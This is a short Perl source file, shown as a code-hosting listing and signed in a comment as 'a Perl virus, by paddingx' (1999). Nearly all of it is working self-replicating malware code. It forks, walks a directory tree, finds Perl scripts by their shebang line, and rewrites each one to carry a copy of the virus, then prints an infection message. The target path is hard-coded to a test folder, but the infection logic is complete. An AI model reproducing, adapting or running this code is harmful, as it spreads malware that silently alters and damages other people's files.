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44 lines
1.1 KiB
Plaintext
44 lines
1.1 KiB
Plaintext
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use File::Find;
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&virus();
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print "\nThis program is infected by the Perl virus\n\n";
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sub virus
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{
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my ( $pid, $new );
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if( $pid = fork ) { return; }
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else
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{
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open( source, $0 );
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finddepth ( \&infect, '/home/chris/test' );
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sub infect
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{
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open target, "$File::Find::name";
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$_ = <target>;
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if ( /(\#!.*perl)/ )
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{
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$_ = <target>;
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if( $_ ne "use File::Find;\n" )
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{
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$new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
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while( <target> ) { $new = $new . $_; }
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seek( source, 0, 0 );
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while( <source> ne "sub virus\n" ) { };
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$new = $new . "\nsub virus\n";
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while( <source> ) { $new = $new . $_; }
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close target;
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open target, ">$File::Find::name";
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print target $new;
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}
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}
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close( target );
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}
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close( source );
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exit( 0 );
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}
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}
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# a Perl virus, by paddingx
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# 08/15/1999
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